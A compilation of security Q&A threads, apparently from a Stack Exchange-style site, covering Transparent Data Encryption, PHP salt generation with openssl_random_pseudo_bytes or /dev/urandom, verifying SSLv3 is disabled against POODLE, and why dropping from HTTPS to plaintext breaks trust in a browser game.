Of course, if you just need encryption for regulatory purposes, then just sprinkle some AES over it. It wouldn't be the first time that encryption is applied without such a thing making actual sense. Your best bet, in that case, would be Transparent Data Encryption as implemented in Oracle and SQL Server. TDE has good performance (you will not notice it) and does not alter the table format, so applications can use it transparently (hence the name). TDE protects against confidentiality breaches from attackers obtaining a read access to the relevant part of the hard disk (e.g. attackers who steal an old backup tape). That's something.

TDE, or any amount of encryption, will not magically dispel all vulnerabilities, of course. Cryptography is a science, not wizardry.


Should I use urandom() or openssl_random_pseudo_bytes()? I am developing a site in PHP 5.4. Which function is better to use to generate a random salt for password security?

$salt = sha1(openssl_random_pseudo_bytes(23));

or

$seed = '';
$a = @fopen('/dev/urandom','rb');
$seed .= @fread($a,23);
$salt = sha1(seed);

Or should I just go with:

$salt =  openssl_random_pseudo_bytes(40);

or

$salt = '';
$a = @fopen('/dev/urandom','rb');
$salt .= @fread($a,23);

The right way to generate a salt for password hashing is: do not do it yourself. Use a library which already does thing properly. See @Terry's answer for pointers.

For your exact question, it so happens that openssl_random_pseudo_bytes() relies on OpenSSL's internal PRNG, which itself feeds on what the underlying platform provides, i.e. dev/urandom, so it is safe. Strictly speaking, you should use the second parameter of that function to check whether OpenSSL did find a strong source of randomness on the local platform (see the documentation), but in practice, as long as OpenSSL runs on a Unix-like or Windows-like platform, things will be fine. So it does not really matter, for security, whether you call openssl_random_pseudo_bytes() or read /dev/urandom yourself. For maintenance reasons, I would prefer the former, which is simpler (only one call) and more portable (it will also work on Windows, whereas reading /dev/urandom will not).

Either way, applying SHA-1 on the output of openssl_random_pseudo_bytes() or /dev/urandom, is totally useless. Good PRNG already produce unpredictable uniformly random bytes (and if your PRNG is not good, then why are you using it ?).


sslv3 is still showing in openssl result even after disabling from sslprotocol We are trying to disable sslv3 for poodle vulnerability.so i disabled in ssl.conf

SSLProtocol -ALL +TLSv1 -SSLv2 -SSLv3

and tried to connect using tlsv1 using openssl command.

openssl s_client -host localhost -port 8001 -tls1

New, TLSv1/SSLv3, Cipher is AES256-SHA
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
SSL-Session:
    Protocol  : TLSv1
    Cipher    : AES256-SHA
    Session-ID: B391D1D3B9EAC8CEF97838AA3A1D1277
    Session-ID-ctx:

I am forcing openssl to connect tlsv1 ,but it is still showing sslv3(New, TLSv1/SSLv3, Cipher is AES256-SHA),please let me know why ot shows sslv3 even after disable in ssl.conf?

Thanks
Jay

You're looking at the wrong line.

New, TLSv1/SSLv3, Cipher is AES256-SHA

TLSv1 and SSLv3 use many of the same ciphers.  This line is just telling you that the selected cipher is from the TLSv1/SSLv3 family.  Further down in the openssl output should be something like this:

SSL-Session:
    Protocol  : TLSv1

This tells you what protocol is in use.  In my example, it's TLSv1.


client/server trust after authenticating over HTTPS then dropping to plaintext? Disclaimer
If this question is ridiculous it's because secure public key exchange sounds impossible before you learn about it. So I'm asking about things that may be impossible.
Question
Is it possible to drop a secure connection for plain text while maintaining a trusted connection. Meaning the server knows the player's requests are still his and the player knows game information is still the players.
Background
I am writing some small JavaScript multiplayer games that will have authenticated users (Persistent user accounts across games). Since the server is resource limited on the computing side I would like to drop down to an unencrypted connection for game data. I am wondering if that is possible without opening myself up to very easy client or server spoofing attacks (JavaScript client).
Main Concern
User Trading in games seems particularly risky but is in development. Especially if I monetize a game linked to trading in the future. There may be enough incentive to fake a client sending valid but self damaging trades or spoof game information making misinformation scams possible.
Additional Information
Since I already can't trust the client (as it's written in JavaScript) game state is always server side and clients can only send requests which are evaluated for validity.
Some small games are already written and authentication is currently handled on the site which is running over https and is completely separate from the game servers. I'm in the process of bringing them together though no.
Fun distributed solution?
Although I don't have the resources, time or prerequisite knowledge to implement it, if trading was run through a series of DAPPS (On the ether block-chain) To my understanding all my concerns would be rectified at the expense of needing to spend real money on transactions.

Is it possible to drop a secure connection for plain text while maintaining a trusted connection.

No.

  Since the server is resource limited on the computing side I would like to drop down to an unencrypted connection for game data.

It sounds like you need to do some profiling and optimizing, but I can almost guarantee that TLS isn't going to be the bottleneck.

  I am wondering if that is possible without opening myself up to very easy client or server spoofing attacks (JavaScript client).

Nope (technically it may be possible, but it's really not worth it, and there's a good chance you'd do it wrong anyway).

  Since I already can't trust the client (as it's written in JavaScript) game state is always server side and clients can only send requests which are evaluated for validity.

You're right that you can't trust the client, but not because it's JavaScript. Even if you try to make reverse engineering more difficult, you can't make it impossible.

  Although I don't have the resources, time or prerequisite knowledge to implement it, if trading was run through a series of DAPPS (On the ether block-chain) To my understanding all my concerns would be rectified at the expense of needing to spend real money on transactions.

Blockchains do have some useful properties, but there's also a substantial amount of hype. Blockchains aren't going to magically solve all of your problems.